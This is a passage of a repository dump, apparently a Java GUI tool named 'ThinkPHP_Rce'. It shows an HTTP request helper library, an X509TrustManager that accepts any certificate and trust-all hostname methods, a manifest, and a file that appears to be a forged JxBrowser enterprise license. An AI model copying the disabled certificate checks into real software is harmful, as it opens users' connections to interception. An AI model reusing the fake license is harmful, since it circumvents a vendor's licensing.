| * @param filename 2814 | * @param contentType 2815 | * value of the Content-Type part header 2816 | * @param part 2817 | * @return this request 2818 | * @throws HttpRequestException 2819 | */ 2820 | public HttpRequest part(final String name, final String filename, 2821 | final String contentType, final String part) throws HttpRequestException { 2822 | try { 2823 | startPart(); 2824 | writePartHeader(name, filename, contentType); 2825 | output.write(part); 2826 | } catch (IOException e) { 2827 | throw new HttpRequestException(e); 2828 | } 2829 | return this; 2830 | } 2831 | 2832 | /** 2833 | * Write part of a multipart request to the request body 2834 | * 2835 | * @param name 2836 | * @param part 2837 | * @return this request 2838 | * @throws HttpRequestException 2839 | */ 2840 | public HttpRequest part(final String name, final Number part) 2841 | throws HttpRequestException { 2842 | return part(name, null, part); 2843 | } 2844 | 2845 | /** 2846 | * Write part of a multipart request to the request body 2847 | * 2848 | * @param name 2849 | * @param filename 2850 | * @param part 2851 | * @return this request 2852 | * @throws HttpRequestException 2853 | */ 2854 | public HttpRequest part(final String name, final String filename, 2855 | final Number part) throws HttpRequestException { 2856 | return part(name, filename, part != null ? part.toString() : null); 2857 | } 2858 | 2859 | /** 2860 | * Write part of a multipart request to the request body 2861 | * 2862 | * @param name 2863 | * @param part 2864 | * @return this request 2865 | * @throws HttpRequestException 2866 | */ 2867 | public HttpRequest part(final String name, final File part) 2868 | throws HttpRequestException { 2869 | return part(name, null, part); 2870 | } 2871 | 2872 | /** 2873 | * Write part of a multipart request to the request body 2874 | * 2875 | * @param name 2876 | * @param filename 2877 | * @param part 2878 | * @return this request 2879 | * @throws HttpRequestException 2880 | */ 2881 | public HttpRequest part(final String name, final String filename, 2882 | final File part) throws HttpRequestException { 2883 | return part(name, filename, null, part); 2884 | } 2885 | 2886 | /** 2887 | * Write part of a multipart request to the request body 2888 | * 2889 | * @param name 2890 | * @param filename 2891 | * @param contentType 2892 | * value of the Content-Type part header 2893 | * @param part 2894 | * @return this request 2895 | * @throws HttpRequestException 2896 | */ 2897 | public HttpRequest part(final String name, final String filename, 2898 | final String contentType, final File part) throws HttpRequestException { 2899 | final InputStream stream; 2900 | try { 2901 | stream = new BufferedInputStream(new FileInputStream(part)); 2902 | incrementTotalSize(part.length()); 2903 | } catch (IOException e) { 2904 | throw new HttpRequestException(e); 2905 | } 2906 | return part(name, filename, contentType, stream); 2907 | } 2908 | 2909 | /** 2910 | * Write part of a multipart request to the request body 2911 | * 2912 | * @param name 2913 | * @param part 2914 | * @return this request 2915 | * @throws HttpRequestException 2916 | */ 2917 | public HttpRequest part(final String name, final InputStream part) 2918 | throws HttpRequestException { 2919 | return part(name, null, null, part); 2920 | } 2921 | 2922 | /** 2923 | * Write part of a multipart request to the request body 2924 | * 2925 | * @param name 2926 | * @param filename 2927 | * @param contentType 2928 | * value of the Content-Type part header 2929 | * @param part 2930 | * @return this request 2931 | * @throws HttpRequestException 2932 | */ 2933 | public HttpRequest part(final String name, final String filename, 2934 | final String contentType, final InputStream part) 2935 | throws HttpRequestException { 2936 | try { 2937 | startPart(); 2938 | writePartHeader(name, filename, contentType); 2939 | copy(part, output); 2940 | } catch (IOException e) { 2941 | throw new HttpRequestException(e); 2942 | } 2943 | return this; 2944 | } 2945 | 2946 | /** 2947 | * Write a multipart header to the response body 2948 | * 2949 | * @param name 2950 | * @param value 2951 | * @return this request 2952 | * @throws HttpRequestException 2953 | */ 2954 | public HttpRequest partHeader(final String name, final String value) 2955 | throws HttpRequestException { 2956 | return send(name).send(": ").send(value).send(CRLF); 2957 | } 2958 | 2959 | /** 2960 | * Write contents of file to request body 2961 | * 2962 | * @param input 2963 | * @return this request 2964 | * @throws HttpRequestException 2965 | */ 2966 | public HttpRequest send(final File input) throws HttpRequestException { 2967 | final InputStream stream; 2968 | try { 2969 | stream = new BufferedInputStream(new FileInputStream(input)); 2970 | incrementTotalSize(input.length()); 2971 | } catch (FileNotFoundException e) { 2972 | throw new HttpRequestException(e); 2973 | } 2974 | return send(stream); 2975 | } 2976 | 2977 | /** 2978 | * Write byte array to request body 2979 | * 2980 | * @param input 2981 | * @return this request 2982 | * @throws HttpRequestException 2983 | */ 2984 | public HttpRequest send(final byte[] input) throws HttpRequestException { 2985 | if (input != null) 2986 | incrementTotalSize(input.length); 2987 | return send(new ByteArrayInputStream(input)); 2988 | } 2989 | 2990 | /** 2991 | * Write stream to request body 2992 | *

2993 | * The given stream will be closed once sending completes 2994 | * 2995 | * @param input 2996 | * @return this request 2997 | * @throws HttpRequestException 2998 | */ 2999 | public HttpRequest send(final InputStream input) throws HttpRequestException { 3000 | try { 3001 | openOutput(); 3002 | copy(input, output); 3003 | } catch (IOException e) { 3004 | throw new HttpRequestException(e); 3005 | } 3006 | return this; 3007 | } 3008 | 3009 | /** 3010 | * Write reader to request body 3011 | *

3012 | * The given reader will be closed once sending completes 3013 | * 3014 | * @param input 3015 | * @return this request 3016 | * @throws HttpRequestException 3017 | */ 3018 | public HttpRequest send(final Reader input) throws HttpRequestException { 3019 | try { 3020 | openOutput(); 3021 | } catch (IOException e) { 3022 | throw new HttpRequestException(e); 3023 | } 3024 | final Writer writer = new OutputStreamWriter(output, 3025 | output.encoder.charset()); 3026 | return new FlushOperation(writer) { 3027 | 3028 | @Override 3029 | protected HttpRequest run() throws IOException { 3030 | return copy(input, writer); 3031 | } 3032 | }.call(); 3033 | } 3034 | 3035 | /** 3036 | * Write char sequence to request body 3037 | *

3038 | * The charset configured via {@link #contentType(String)} will be used and 3039 | * UTF-8 will be used if it is unset. 3040 | * 3041 | * @param value 3042 | * @return this request 3043 | * @throws HttpRequestException 3044 | */ 3045 | public HttpRequest send(final CharSequence value) throws HttpRequestException { 3046 | try { 3047 | openOutput(); 3048 | output.write(value.toString()); 3049 | } catch (IOException e) { 3050 | throw new HttpRequestException(e); 3051 | } 3052 | return this; 3053 | } 3054 | 3055 | /** 3056 | * Create writer to request output stream 3057 | * 3058 | * @return writer 3059 | * @throws HttpRequestException 3060 | */ 3061 | public OutputStreamWriter writer() throws HttpRequestException { 3062 | try { 3063 | openOutput(); 3064 | return new OutputStreamWriter(output, output.encoder.charset()); 3065 | } catch (IOException e) { 3066 | throw new HttpRequestException(e); 3067 | } 3068 | } 3069 | 3070 | /** 3071 | * Write the values in the map as form data to the request body 3072 | *

3073 | * The pairs specified will be URL-encoded in UTF-8 and sent with the 3074 | * 'application/x-www-form-urlencoded' content-type 3075 | * 3076 | * @param values 3077 | * @return this request 3078 | * @throws HttpRequestException 3079 | */ 3080 | public HttpRequest form(final Map values) throws HttpRequestException { 3081 | return form(values, CHARSET_UTF8); 3082 | } 3083 | 3084 | /** 3085 | * Write the key and value in the entry as form data to the request body 3086 | *

3087 | * The pair specified will be URL-encoded in UTF-8 and sent with the 3088 | * 'application/x-www-form-urlencoded' content-type 3089 | * 3090 | * @param entry 3091 | * @return this request 3092 | * @throws HttpRequestException 3093 | */ 3094 | public HttpRequest form(final Entry entry) throws HttpRequestException { 3095 | return form(entry, CHARSET_UTF8); 3096 | } 3097 | 3098 | /** 3099 | * Write the key and value in the entry as form data to the request body 3100 | *

3101 | * The pair specified will be URL-encoded and sent with the 3102 | * 'application/x-www-form-urlencoded' content-type 3103 | * 3104 | * @param entry 3105 | * @param charset 3106 | * @return this request 3107 | * @throws HttpRequestException 3108 | */ 3109 | public HttpRequest form(final Entry entry, final String charset) 3110 | throws HttpRequestException { 3111 | return form(entry.getKey(), entry.getValue(), charset); 3112 | } 3113 | 3114 | /** 3115 | * Write the name/value pair as form data to the request body 3116 | *

3117 | * The pair specified will be URL-encoded in UTF-8 and sent with the 3118 | * 'application/x-www-form-urlencoded' content-type 3119 | * 3120 | * @param name 3121 | * @param value 3122 | * @return this request 3123 | * @throws HttpRequestException 3124 | */ 3125 | public HttpRequest form(final Object name, final Object value) 3126 | throws HttpRequestException { 3127 | return form(name, value, CHARSET_UTF8); 3128 | } 3129 | 3130 | /** 3131 | * Write the name/value pair as form data to the request body 3132 | *

3133 | * The values specified will be URL-encoded and sent with the 3134 | * 'application/x-www-form-urlencoded' content-type 3135 | * 3136 | * @param name 3137 | * @param value 3138 | * @param charset 3139 | * @return this request 3140 | * @throws HttpRequestException 3141 | */ 3142 | public HttpRequest form(final Object name, final Object value, String charset) 3143 | throws HttpRequestException { 3144 | final boolean first = !form; 3145 | if (first) { 3146 | contentType(CONTENT_TYPE_FORM, charset); 3147 | form = true; 3148 | } 3149 | charset = getValidCharset(charset); 3150 | try { 3151 | openOutput(); 3152 | if (!first) 3153 | output.write('&'); 3154 | output.write(URLEncoder.encode(name.toString(), charset)); 3155 | output.write('='); 3156 | if (value != null) 3157 | output.write(URLEncoder.encode(value.toString(), charset)); 3158 | } catch (IOException e) { 3159 | throw new HttpRequestException(e); 3160 | } 3161 | return this; 3162 | } 3163 | 3164 | /** 3165 | * Write the values in the map as encoded form data to the request body 3166 | * 3167 | * @param values 3168 | * @param charset 3169 | * @return this request 3170 | * @throws HttpRequestException 3171 | */ 3172 | public HttpRequest form(final Map values, final String charset) 3173 | throws HttpRequestException { 3174 | if (!values.isEmpty()) 3175 | for (Entry entry : values.entrySet()) 3176 | form(entry, charset); 3177 | return this; 3178 | } 3179 | 3180 | /** 3181 | * Configure HTTPS connection to trust all certificates 3182 | *

3183 | * This method does nothing if the current request is not a HTTPS request 3184 | * 3185 | * @return this request 3186 | * @throws HttpRequestException 3187 | */ 3188 | public HttpRequest trustAllCerts() throws HttpRequestException { 3189 | final HttpURLConnection connection = getConnection(); 3190 | if (connection instanceof HttpsURLConnection) 3191 | ((HttpsURLConnection) connection) 3192 | .setSSLSocketFactory(getTrustedFactory()); 3193 | return this; 3194 | } 3195 | 3196 | /** 3197 | * Configure HTTPS connection to trust all hosts using a custom 3198 | * {@link HostnameVerifier} that always returns true for each 3199 | * host verified 3200 | *

3201 | * This method does nothing if the current request is not a HTTPS request 3202 | * 3203 | * @return this request 3204 | */ 3205 | public HttpRequest trustAllHosts() { 3206 | final HttpURLConnection connection = getConnection(); 3207 | if (connection instanceof HttpsURLConnection) 3208 | ((HttpsURLConnection) connection) 3209 | .setHostnameVerifier(getTrustedVerifier()); 3210 | return this; 3211 | } 3212 | 3213 | /** 3214 | * Get the {@link URL} of this request's connection 3215 | * 3216 | * @return request URL 3217 | */ 3218 | public URL url() { 3219 | return getConnection().getURL(); 3220 | } 3221 | 3222 | /** 3223 | * Get the HTTP method of this request 3224 | * 3225 | * @return method 3226 | */ 3227 | public String method() { 3228 | return getConnection().getRequestMethod(); 3229 | } 3230 | 3231 | /** 3232 | * Configure an HTTP proxy on this connection. Use {{@link #proxyBasic(String, String)} if 3233 | * this proxy requires basic authentication. 3234 | * 3235 | * @param proxyHost 3236 | * @param proxyPort 3237 | * @return this request 3238 | */ 3239 | public HttpRequest useProxy(final String proxyHost, final int proxyPort) { 3240 | if (connection != null) 3241 | throw new IllegalStateException("The connection has already been created. This method must be called before reading or writing to the request."); 3242 | 3243 | this.httpProxyHost = proxyHost; 3244 | this.httpProxyPort = proxyPort; 3245 | return this; 3246 | } 3247 | 3248 | /** 3249 | * Set whether or not the underlying connection should follow redirects in 3250 | * the response. 3251 | * 3252 | * @param followRedirects - true fo follow redirects, false to not. 3253 | * @return this request 3254 | */ 3255 | public HttpRequest followRedirects(final boolean followRedirects) { 3256 | getConnection().setInstanceFollowRedirects(followRedirects); 3257 | return this; 3258 | } 3259 | } -------------------------------------------------------------------------------- /src/HttpURLConnectionExample/MyX509TrustManager.java: -------------------------------------------------------------------------------- 1 | package HttpURLConnectionExample; 2 | import java.security.cert.CertificateException; 3 | import java.security.cert.X509Certificate; 4 | import javax.net.ssl.X509TrustManager; 5 | public class MyX509TrustManager implements X509TrustManager { 6 | @Override 7 | public void checkClientTrusted(X509Certificate[] chain, String authType) 8 | throws CertificateException { 9 | // TODO Auto-generated method stub 10 | } 11 | @Override 12 | public void checkServerTrusted(X509Certificate[] chain, String authType) 13 | throws CertificateException { 14 | // TODO Auto-generated method stub 15 | } 16 | @Override 17 | public X509Certificate[] getAcceptedIssuers() { 18 | // TODO Auto-generated method stub 19 | return null; 20 | } 21 | } -------------------------------------------------------------------------------- /src/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: Main 3 | Add-Exports: java.desktop/sun.swing java.desktop/sun.swing.table java.de 4 | sktop/sun.swing.plaf.synth java.desktop/com.sun.java.swing.plaf.windows 5 | java.desktop/sun.awt.shell java.desktop/com.sun.awt java.base/sun.secu 6 | rity.action 7 | Add-Opens: java.desktop/javax.swing.plaf.synth java.desktop/javax.swing. 8 | plaf.basic java.desktop/javax.swing java.desktop/javax.swing.tree java. 9 | desktop/java.awt.event 10 | Synthetica-Version: 2.30.0 Build 16 11 | Multi-Release: true 12 | -------------------------------------------------------------------------------- /src/META-INF/teamdev.licenses: -------------------------------------------------------------------------------- 1 | Product: JxBrowser 2 | Version: 6.24 3 | Licensed to: Kagura.me 4 | License type: Enterprise 5 | License info: JxBrowser License 6 | Expiration date: 01-01-9999 7 | Support expiration date: NO SUPPORT 8 | Generation date: 01-01-1970 9 | Platforms: win32/x86;win32/x64;mac/x86;mac/x64;linux/x86;linux/x64 10 | Company name: TeamDev Ltd. 11 | SigB: 1 12 | SigA: 1 -------------------------------------------------------------------------------- /src/Main.java: -------------------------------------------------------------------------------- 1 | import GuiManager.Gui; 2 | 3 | /** 4 | * @program: ThinkPHP_Rce 5 | * @description: 入口函数 6 | * @author: Mr.Wang 7 | * @create: 2022-05-12 01:59 8 | **/ 9 | public class Main { 10 | public static void main(String[] args) { 11 | Gui Object = new Gui(); 12 | Gui.GuiMain(); 13 | } 14 | 15 | } 16 | -------------------------------------------------------------------------------- /tu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImuSpirit/ThinkPHP_RCE/6edc191410b3716f07119a8ba04c8dc03742570d/tu.png --------------------------------------------------------------------------------